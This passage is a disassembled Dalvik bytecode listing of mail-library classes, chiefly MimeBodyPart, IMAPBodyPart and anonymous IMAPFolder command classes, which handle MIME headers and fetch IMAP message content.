0000004A invoke-virtual OutputStream->write([B, I, I)V, v2, v0, v4, v3
:50
00000050 goto :26
:52
00000052 move-exception v0
:54
00000054 if-eqz v1, :5E
:58
00000058 invoke-virtual InputStream->close()V, v1
:5E
0000005E if-eqz v2, :68
:62
00000062 invoke-virtual OutputStream->close()V, v2
:68
00000068 throw v0
:6A
0000006A move-exception v1
0000006C goto :5E
:6E
0000006E move-exception v1
00000070 goto :68
:72
00000072 move-exception v0
00000074 goto :3C
:76
00000076 move-exception v0
00000078 goto :46
:7A
0000007A move-exception v0
0000007C move-object v2, v1
0000007E goto :54
.catchall {:2 .. :16} :7A
.catchall {:16 .. :2C} :52
.catch IOException {:36 .. :3C} :72
.catch IOException {:40 .. :46} :76
.catchall {:4A .. :50} :52
.catch IOException {:58 .. :5E} :6A
.catch IOException {:62 .. :68} :6E
.end method
.method public saveFile(String)V
.registers 3
00000000 new-instance v0, File
00000004 invoke-direct File-><init>(String)V, v0, p1
0000000A invoke-virtual MimeBodyPart->saveFile(File)V, p0, v0
00000010 return-void
.end method
.method public setContent(Object, String)V
.registers 4
00000000 instance-of v0, p1, Multipart
00000004 if-eqz v0, :14
:8
00000008 check-cast p1, Multipart
0000000C invoke-virtual MimeBodyPart->setContent(Multipart)V, p0, p1
:12
00000012 return-void
:14
00000014 new-instance v0, DataHandler
00000018 invoke-direct DataHandler-><init>(Object, String)V, v0, p1, p2
0000001E invoke-virtual MimeBodyPart->setDataHandler(DataHandler)V, p0, v0
00000024 goto :12
.end method
.method public setContent(Multipart)V
.registers 4
00000000 new-instance v0, DataHandler
00000004 invoke-virtual Multipart->getContentType()String, p1
0000000A move-result-object v1
0000000C invoke-direct DataHandler-><init>(Object, String)V, v0, p1, v1
00000012 invoke-virtual MimeBodyPart->setDataHandler(DataHandler)V, p0, v0
00000018 invoke-virtual Multipart->setParent(Part)V, p1, p0
0000001E return-void
.end method
.method public setContentID(String)V
.registers 3
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Content-ID"
00000008 invoke-virtual MimeBodyPart->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Content-ID"
00000014 invoke-virtual MimeBodyPart->setHeader(String, String)V, p0, v0, p1
0000001A goto :E
.end method
.method public setContentLanguage([String)V
.registers 2
00000000 invoke-static MimeBodyPart->setContentLanguage(MimePart, [String)V, p0, p1
00000006 return-void
.end method
.method public setContentMD5(String)V
.registers 3
00000000 const-string v0, "Content-MD5"
00000004 invoke-virtual MimeBodyPart->setHeader(String, String)V, p0, v0, p1
0000000A return-void
.end method
.method public setDataHandler(DataHandler)V
.registers 3
00000000 iput-object p1, p0, MimeBodyPart->dh:DataHandler
00000004 const/4 v0, 0x0
00000006 iput-object v0, p0, MimeBodyPart->cachedContent:Object
0000000A invoke-static MimeBodyPart->invalidateContentHeaders(MimePart)V, p0
00000010 return-void
.end method
.method public setDescription(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeBodyPart->setDescription(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public setDescription(String, String)V
.registers 3
00000000 invoke-static MimeBodyPart->setDescription(MimePart, String, String)V, p0, p1, p2
00000006 return-void
.end method
.method public setDisposition(String)V
.registers 2
00000000 invoke-static MimeBodyPart->setDisposition(MimePart, String)V, p0, p1
00000006 return-void
.end method
.method public setFileName(String)V
.registers 2
00000000 invoke-static MimeBodyPart->setFileName(MimePart, String)V, p0, p1
00000006 return-void
.end method
.method public setHeader(String, String)V
.registers 4
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->setHeader(String, String)V, v0, p1, p2
0000000A return-void
.end method
.method public setText(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeBodyPart->setText(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public setText(String, String)V
.registers 4
00000000 const-string v0, "plain"
00000004 invoke-static MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, v0
0000000A return-void
.end method
.method public setText(String, String, String)V
.registers 4
00000000 invoke-static MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, p3
00000006 return-void
.end method
.method protected updateHeaders()V
.registers 5
00000000 const/4 v3, 0x0
00000002 invoke-static MimeBodyPart->updateHeaders(MimePart)V, p0
00000008 iget-object v0, p0, MimeBodyPart->cachedContent:Object
0000000C if-eqz v0, :48
:10
00000010 new-instance v0, DataHandler
00000014 iget-object v1, p0, MimeBodyPart->cachedContent:Object
00000018 invoke-virtual MimeBodyPart->getContentType()String, p0
0000001E move-result-object v2
00000020 invoke-direct DataHandler-><init>(Object, String)V, v0, v1, v2
00000026 iput-object v0, p0, MimeBodyPart->dh:DataHandler
0000002A iput-object v3, p0, MimeBodyPart->cachedContent:Object
0000002E iput-object v3, p0, MimeBodyPart->content:[B
00000032 iget-object v0, p0, MimeBodyPart->contentStream:InputStream
00000036 if-eqz v0, :44
:3A
0000003A iget-object v0, p0, MimeBodyPart->contentStream:InputStream
0000003E invoke-virtual InputStream->close()V, v0
:44
00000044 iput-object v3, p0, MimeBodyPart->contentStream:InputStream
:48
00000048 return-void
:4A
0000004A move-exception v0
0000004C goto :44
.catch IOException {:3A .. :44} :4A
.end method
.method public writeTo(OutputStream)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-static MimeBodyPart->writeTo(MimePart, OutputStream, [String)V, p0, p1, v0
00000008 return-void
.end method
#--------------------------------------------------------------------------------
.class public IMAPBodyPart
.super MimeBodyPart
.source ""
.field private bs:BODYSTRUCTURE
.field private description:String
.field private headersLoaded:Z
.field private message:IMAPMessage
.field private sectionId:String
.field private type:String
.method protected constructor <init>(BODYSTRUCTURE, String, IMAPMessage)V
.registers 8
00000000 invoke-direct MimeBodyPart-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-boolean v0, p0, IMAPBodyPart->headersLoaded:Z
0000000C iput-object p1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000010 iput-object p2, p0, IMAPBodyPart->sectionId:String
00000014 iput-object p3, p0, IMAPBodyPart->message:IMAPMessage
00000018 new-instance v0, ContentType
0000001C iget-object v1, p1, BODYSTRUCTURE->type:String
00000020 iget-object v2, p1, BODYSTRUCTURE->subtype:String
00000024 iget-object v3, p1, BODYSTRUCTURE->cParams:ParameterList
00000028 invoke-direct ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
0000002E invoke-virtual ContentType->toString()String, v0
00000034 move-result-object v0
00000036 iput-object v0, p0, IMAPBodyPart->type:String
0000003A return-void
.end method
.method private declared-synchronized loadHeaders()V
.registers 6
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPBodyPart->headersLoaded:Z
:6
00000006 if-eqz v0, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000012 if-nez v0, :24
:16
00000016 new-instance v0, InternetHeaders
0000001A invoke-direct InternetHeaders-><init>()V, v0
00000020 iput-object v0, p0, IMAPBodyPart->headers:InternetHeaders
:24
00000024 iget-object v0, p0, IMAPBodyPart->message:IMAPMessage
00000028 invoke-virtual IMAPMessage->getMessageCacheLock()Object, v0
0000002E move-result-object v1
00000030 monitor-enter v1
:32
00000032 iget-object v0, p0, IMAPBodyPart->message:IMAPMessage
00000036 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, v0
0000003C move-result-object v0
0000003E iget-object v2, p0, IMAPBodyPart->message:IMAPMessage
00000042 invoke-virtual IMAPMessage->checkExpunged()V, v2
00000048 invoke-virtual IMAPProtocol->isREV1()Z, v0
0000004E move-result v2
00000050 if-eqz v2, :11C
:54
00000054 iget-object v2, p0, IMAPBodyPart->message:IMAPMessage
00000058 invoke-virtual IMAPMessage->getSequenceNumber()I, v2
0000005E move-result v2
00000060 new-instance v3, StringBuilder
00000064 iget-object v4, p0, IMAPBodyPart->sectionId:String
00000068 invoke-static String->valueOf(Object)String, v4
0000006E move-result-object v4
00000070 invoke-direct StringBuilder-><init>(String)V, v3, v4
00000076 const-string v4, ".MIME"
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
00000080 move-result-object v3
00000082 invoke-virtual StringBuilder->toString()String, v3
00000088 move-result-object v3
0000008A invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v0, v2, v3
00000090 move-result-object v0
00000092 if-nez v0, :D4
:96
00000096 new-instance v0, MessagingException
0000009A const-string v2, "Failed to fetch headers"
0000009E invoke-direct MessagingException-><init>(String)V, v0, v2
000000A4 throw v0
:A6
000000A6 move-exception v0
:A8
000000A8 new-instance v2, FolderClosedException
000000AC iget-object v3, p0, IMAPBodyPart->message:IMAPMessage
000000B0 invoke-virtual IMAPMessage->getFolder()Folder, v3
000000B6 move-result-object v3
000000B8 invoke-virtual ConnectionException->getMessage()String, v0
000000BE move-result-object v0
000000C0 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v0
000000C6 throw v2
:C8
000000C8 move-exception v0
000000CA monitor-exit v1
:CC
000000CC throw v0
:CE
000000CE move-exception v0
000000D0 monitor-exit p0
000000D2 throw v0
:D4
000000D4 invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v0
000000DA move-result-object v0
000000DC if-nez v0, :106
:E0
000000E0 new-instance v0, MessagingException
000000E4 const-string v2, "Failed to fetch headers"
000000E8 invoke-direct MessagingException-><init>(String)V, v0, v2
000000EE throw v0
:F0
000000F0 move-exception v0
:F2
000000F2 new-instance v2, MessagingException
000000F6 invoke-virtual ProtocolException->getMessage()String, v0
000000FC move-result-object v3
000000FE invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000104 throw v2
:106
00000106 iget-object v2, p0, IMAPBodyPart->headers:InternetHeaders
0000010A invoke-virtual InternetHeaders->load(InputStream)V, v2, v0
:110
00000110 monitor-exit v1
:112
00000112 const/4 v0, 0x1
:114
00000114 iput-boolean v0, p0, IMAPBodyPart->headersLoaded:Z
:118
00000118 goto/16 :A
:11C
0000011C iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000120 const-string v2, "Content-Type"
00000124 iget-object v3, p0, IMAPBodyPart->type:String
00000128 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, v2, v3
0000012E iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000132 const-string v2, "Content-Transfer-Encoding"
00000136 iget-object v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000013A iget-object v3, v3, BODYSTRUCTURE->encoding:String
0000013E invoke-virtual InternetHeaders->addHeader(String, String)V, v0, v2, v3
00000144 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000148 iget-object v0, v0, BODYSTRUCTURE->description:String
0000014C if-eqz v0, :166
:150
00000150 iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000154 const-string v2, "Content-Description"
00000158 iget-object v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000015C iget-object v3, v3, BODYSTRUCTURE->description:String
00000160 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, v2, v3
:166
00000166 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000016A iget-object v0, v0, BODYSTRUCTURE->id:String
0000016E if-eqz v0, :188
:172
00000172 iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000176 const-string v2, "Content-ID"
0000017A iget-object v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000017E iget-object v3, v3, BODYSTRUCTURE->id:String
00000182 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, v2, v3
:188
00000188 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000018C iget-object v0, v0, BODYSTRUCTURE->md5:String
00000190 if-eqz v0, :110
:194
00000194 iget-object v0, p0, IMAPBodyPart->headers:InternetHeaders
00000198 const-string v2, "Content-MD5"
0000019C iget-object v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
000001A0 iget-object v3, v3, BODYSTRUCTURE->md5:String
000001A4 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, v2, v3
:1AA
000001AA goto :110
.catchall {:2 .. :6} :CE
.catchall {:E .. :32} :CE
.catch ConnectionException {:32 .. :A6} :A6
.catch ProtocolException {:32 .. :A6} :F0
.catchall {:32 .. :A6} :C8
.catchall {:A8 .. :CC} :C8
.catchall {:CC .. :CE} :CE
.catch ConnectionException {:D4 .. :F0} :A6
.catch ProtocolException {:D4 .. :F0} :F0
.catchall {:D4 .. :F0} :C8
.catchall {:F2 .. :106} :C8
.catch ConnectionException {:106 .. :110} :A6
.catch ProtocolException {:106 .. :110} :F0
.catchall {:106 .. :110} :C8
.catchall {:110 .. :112} :C8
.catchall {:114 .. :118} :CE
.catch ConnectionException {:11C .. :1AA} :A6
.catch ProtocolException {:11C .. :1AA} :F0
.catchall {:11C .. :1AA} :C8
.end method
.method public addHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public addHeaderLine(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getAllHeaderLines()Enumeration, p0
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 2
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getAllHeaders()Enumeration, p0
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getContentID()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget-object v0, v0, BODYSTRUCTURE->id:String
00000008 return-object v0
.end method
.method public getContentMD5()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget-object v0, v0, BODYSTRUCTURE->md5:String
00000008 return-object v0
.end method
.method protected getContentStream()InputStream
.registers 7
00000000 const/4 v0, 0x0
00000002 iget-object v1, p0, IMAPBodyPart->message:IMAPMessage
00000006 invoke-virtual IMAPMessage->getPeek()Z, v1
0000000C move-result v1
0000000E iget-object v2, p0, IMAPBodyPart->message:IMAPMessage
00000012 invoke-virtual IMAPMessage->getMessageCacheLock()Object, v2
00000018 move-result-object v2
0000001A monitor-enter v2
:1C
0000001C iget-object v3, p0, IMAPBodyPart->message:IMAPMessage
00000020 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, v3
00000026 move-result-object v3
00000028 iget-object v4, p0, IMAPBodyPart->message:IMAPMessage
0000002C invoke-virtual IMAPMessage->checkExpunged()V, v4
00000032 invoke-virtual IMAPProtocol->isREV1()Z, v3
00000038 move-result v4
0000003A if-eqz v4, :6E
:3E
0000003E iget-object v4, p0, IMAPBodyPart->message:IMAPMessage
00000042 invoke-virtual IMAPMessage->getFetchBlockSize()I, v4
00000048 move-result v4
0000004A const/4 v5, 0xFFFFFFFFFFFFFFFF
0000004C if-eq v4, v5, :6E
:50
00000050 new-instance v0, IMAPInputStream
00000054 iget-object v3, p0, IMAPBodyPart->message:IMAPMessage
00000058 iget-object v4, p0, IMAPBodyPart->sectionId:String
0000005C iget-object v5, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000060 iget v5, v5, BODYSTRUCTURE->size:I
00000064 invoke-direct IMAPInputStream-><init>(IMAPMessage, String, I, Z)V, v0, v3, v4, v5, v1
:6A
0000006A monitor-exit v2
:6C
0000006C return-object v0
:6E
0000006E iget-object v4, p0, IMAPBodyPart->message:IMAPMessage
00000072 invoke-virtual IMAPMessage->getSequenceNumber()I, v4
00000078 move-result v4
0000007A if-eqz v1, :AC
:7E
0000007E iget-object v1, p0, IMAPBodyPart->sectionId:String
00000082 invoke-virtual IMAPProtocol->peekBody(I, String)BODY, v3, v4, v1
00000088 move-result-object v1
:8A
0000008A if-eqz v1, :96
:8E
0000008E invoke-virtual BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:94
00000094 move-result-object v0
:96
00000096 monitor-exit v2
:98
00000098 if-nez v0, :6C
:9C
0000009C new-instance v0, MessagingException
000000A0 const-string v1, "No content"
000000A4 invoke-direct MessagingException-><init>(String)V, v0, v1
000000AA throw v0
:AC
000000AC iget-object v1, p0, IMAPBodyPart->sectionId:String
000000B0 invoke-virtual IMAPProtocol->fetchBody(I, String)BODY, v3, v4, v1
:B6
000000B6 move-result-object v1
000000B8 goto :8A
:BA
000000BA move-exception v0
:BC
000000BC new-instance v1, FolderClosedException
000000C0 iget-object v3, p0, IMAPBodyPart->message:IMAPMessage
000000C4 invoke-virtual IMAPMessage->getFolder()Folder, v3
000000CA move-result-object v3
000000CC invoke-virtual ConnectionException->getMessage()String, v0
000000D2 move-result-object v0
000000D4 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v3, v0
000000DA throw v1
:DC
000000DC move-exception v0
000000DE monitor-exit v2
:E0
000000E0 throw v0
:E2
000000E2 move-exception v0
:E4
000000E4 new-instance v1, MessagingException
000000E8 invoke-virtual ProtocolException->getMessage()String, v0
000000EE move-result-object v3
000000F0 invoke-direct MessagingException-><init>(String, Exception)V, v1, v3, v0
000000F6 throw v1
.catch ConnectionException {:1C .. :6A} :BA
.catch ProtocolException {:1C .. :6A} :E2
.catchall {:1C .. :6A} :DC
.catchall {:6A .. :6C} :DC
.catch ConnectionException {:6E .. :94} :BA
.catch ProtocolException {:6E .. :94} :E2
.catchall {:6E .. :94} :DC
.catchall {:96 .. :98} :DC
.catch ConnectionException {:AC .. :B6} :BA
.catch ProtocolException {:AC .. :B6} :E2
.catchall {:AC .. :B6} :DC
.catchall {:BC .. :E0} :DC
.catchall {:E4 .. :F8} :DC
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->type:String
00000004 return-object v0
.end method
.method public declared-synchronized getDataHandler()DataHandler
.registers 7
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPBodyPart->dh:DataHandler
00000006 if-nez v0, :42
:A
0000000A iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000000E invoke-virtual BODYSTRUCTURE->isMulti()Z, v0
00000014 move-result v0
00000016 if-eqz v0, :4E
:1A
0000001A new-instance v0, DataHandler
0000001E new-instance v1, IMAPMultipartDataSource
00000022 iget-object v2, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000026 iget-object v2, v2, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000002A iget-object v3, p0, IMAPBodyPart->sectionId:String
0000002E iget-object v4, p0, IMAPBodyPart->message:IMAPMessage
00000032 invoke-direct IMAPMultipartDataSource-><init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V, v1, p0, v2, v3, v4
00000038 invoke-direct DataHandler-><init>(DataSource)V, v0, v1
0000003E iput-object v0, p0, IMAPBodyPart->dh:DataHandler
:42
00000042 invoke-super MimeBodyPart->getDataHandler()DataHandler, p0
:48
00000048 move-result-object v0
0000004A monitor-exit p0
0000004C return-object v0
:4E
0000004E iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000052 invoke-virtual BODYSTRUCTURE->isNested()Z, v0
00000058 move-result v0
0000005A if-eqz v0, :42
:5E
0000005E iget-object v0, p0, IMAPBodyPart->message:IMAPMessage
00000062 invoke-virtual IMAPMessage->isREV1()Z, v0
00000068 move-result v0
0000006A if-eqz v0, :42
:6E
0000006E new-instance v0, DataHandler
00000072 new-instance v1, IMAPNestedMessage
00000076 iget-object v2, p0, IMAPBodyPart->message:IMAPMessage
0000007A iget-object v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000007E iget-object v3, v3, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
00000082 const/4 v4, 0x0
00000084 aget-object v3, v3, v4
00000088 iget-object v4, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000008C iget-object v4, v4, BODYSTRUCTURE->envelope:ENVELOPE
00000090 iget-object v5, p0, IMAPBodyPart->sectionId:String
00000094 invoke-direct IMAPNestedMessage-><init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V, v1, v2, v3, v4, v5
0000009A iget-object v2, p0, IMAPBodyPart->type:String
0000009E invoke-direct DataHandler-><init>(Object, String)V, v0, v1, v2
000000A4 iput-object v0, p0, IMAPBodyPart->dh:DataHandler
:A8
000000A8 goto :42
:AA
000000AA move-exception v0
000000AC monitor-exit p0
000000AE throw v0
.catchall {:2 .. :48} :AA
.catchall {:4E .. :A8} :AA
.end method
.method public getDescription()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->description:String
00000004 if-eqz v0, :E
:8
00000008 iget-object v0, p0, IMAPBodyPart->description:String
:C
0000000C return-object v0
:E
0000000E iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000012 iget-object v0, v0, BODYSTRUCTURE->description:String
00000016 if-nez v0, :1E
:1A
0000001A const/4 v0, 0x0
0000001C goto :C
:1E
0000001E iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000022 iget-object v0, v0, BODYSTRUCTURE->description:String
00000026 invoke-static MimeUtility->decodeText(String)String, v0
0000002C move-result-object v0
0000002E iput-object v0, p0, IMAPBodyPart->description:String
:32
00000032 iget-object v0, p0, IMAPBodyPart->description:String
00000036 goto :C
:38
00000038 move-exception v0
0000003A iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000003E iget-object v0, v0, BODYSTRUCTURE->description:String
00000042 iput-object v0, p0, IMAPBodyPart->description:String
00000046 goto :32
.catch UnsupportedEncodingException {:1E .. :32} :38
.end method
.method public getDisposition()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget-object v0, v0, BODYSTRUCTURE->disposition:String
00000008 return-object v0
.end method
.method public getEncoding()String
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget-object v0, v0, BODYSTRUCTURE->encoding:String
00000008 return-object v0
.end method
.method public getFileName()String
.registers 3
00000000 const/4 v0, 0x0
00000002 iget-object v1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000006 iget-object v1, v1, BODYSTRUCTURE->dParams:ParameterList
0000000A if-eqz v1, :22
:E
0000000E iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000012 iget-object v0, v0, BODYSTRUCTURE->dParams:ParameterList
00000016 const-string v1, "filename"
0000001A invoke-virtual ParameterList->get(String)String, v0, v1
00000020 move-result-object v0
:22
00000022 if-nez v0, :46
:26
00000026 iget-object v1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000002A iget-object v1, v1, BODYSTRUCTURE->cParams:ParameterList
0000002E if-eqz v1, :46
:32
00000032 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000036 iget-object v0, v0, BODYSTRUCTURE->cParams:ParameterList
0000003A const-string v1, "name"
0000003E invoke-virtual ParameterList->get(String)String, v0, v1
00000044 move-result-object v0
:46
00000046 return-object v0
.end method
.method public getHeader(String)[String
.registers 3
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getHeader(String)[String, p0, p1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getLineCount()I
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget v0, v0, BODYSTRUCTURE->lines:I
00000008 return v0
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 3
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getMatchingHeaderLines([String)Enumeration, p0, p1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 3
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getMatchingHeaders([String)Enumeration, p0, p1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 3
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getNonMatchingHeaderLines([String)Enumeration, p0, p1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 3
00000000 invoke-direct IMAPBodyPart->loadHeaders()V, p0
00000006 invoke-super MimeBodyPart->getNonMatchingHeaders([String)Enumeration, p0, p1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getSize()I
.registers 2
00000000 iget-object v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004 iget v0, v0, BODYSTRUCTURE->size:I
00000008 return v0
.end method
.method public removeHeader(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContent(Object, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContent(Multipart)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setContentMD5(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDataHandler(DataHandler)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDescription(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setDisposition(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setFileName(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "IMAPBodyPart is read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method protected updateHeaders()V
.registers 1
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$10
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$dd:Date
.field private final synthetic val$f:Flags
.field private final synthetic val$mos:MessageLiteral
.method constructor <init>(IMAPFolder, Flags, Date, MessageLiteral)V
.registers 5
00000000 iput-object p1, p0, IMAPFolder$10->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$10->val$f:Flags
00000008 iput-object p3, p0, IMAPFolder$10->val$dd:Date
0000000C iput-object p4, p0, IMAPFolder$10->val$mos:MessageLiteral
00000010 invoke-direct Object-><init>()V, p0
00000016 return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 6
00000000 iget-object v0, p0, IMAPFolder$10->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-object v1, p0, IMAPFolder$10->val$f:Flags
0000000C iget-object v2, p0, IMAPFolder$10->val$dd:Date
00000010 iget-object v3, p0, IMAPFolder$10->val$mos:MessageLiteral
00000014 invoke-virtual IMAPProtocol->append(String, Flags, Date, Literal)V, p1, v0, v1, v2, v3
0000001A const/4 v0, 0x0
0000001C return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$11
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.field private final synthetic val$dd:Date
.field private final synthetic val$f:Flags
.field private final synthetic val$mos:MessageLiteral
.method constructor <init>(IMAPFolder, Flags, Date, MessageLiteral)V
.registers 5
00000000 iput-object p1, p0, IMAPFolder$11->this$0:IMAPFolder
00000004 iput-object p2, p0, IMAPFolder$11->val$f:Flags
00000008 iput-object p3, p0, IMAPFolder$11->val$dd:Date
0000000C iput-object p4, p0, IMAPFolder$11->val$mos:MessageLiteral
00000010 invoke-direct Object-><init>()V, p0
00000016 return-void
.end method
.method public doCommand(IMAPProtocol)Object
.registers 6
00000000 iget-object v0, p0, IMAPFolder$11->this$0:IMAPFolder
00000004 iget-object v0, v0, IMAPFolder->fullName:String
00000008 iget-object v1, p0, IMAPFolder$11->val$f:Flags
0000000C iget-object v2, p0, IMAPFolder$11->val$dd:Date
00000010 iget-object v3, p0, IMAPFolder$11->val$mos:MessageLiteral
00000014 invoke-virtual IMAPProtocol->appenduid(String, Flags, Date, Literal)AppendUID, p1, v0, v1, v2, v3
0000001A move-result-object v0
0000001C return-object v0
.end method
#--------------------------------------------------------------------------------
.class IMAPFolder$12
.super Object
.source ""
.implements IMAPFolder$ProtocolCommand
.field final synthetic this$0:IMAPFolder
.method constructor <init>(IMAPFolder)V
.registers 2
00000000 iput-object p1, p0, IMAPFolder$12->this$0:IMAPFolder
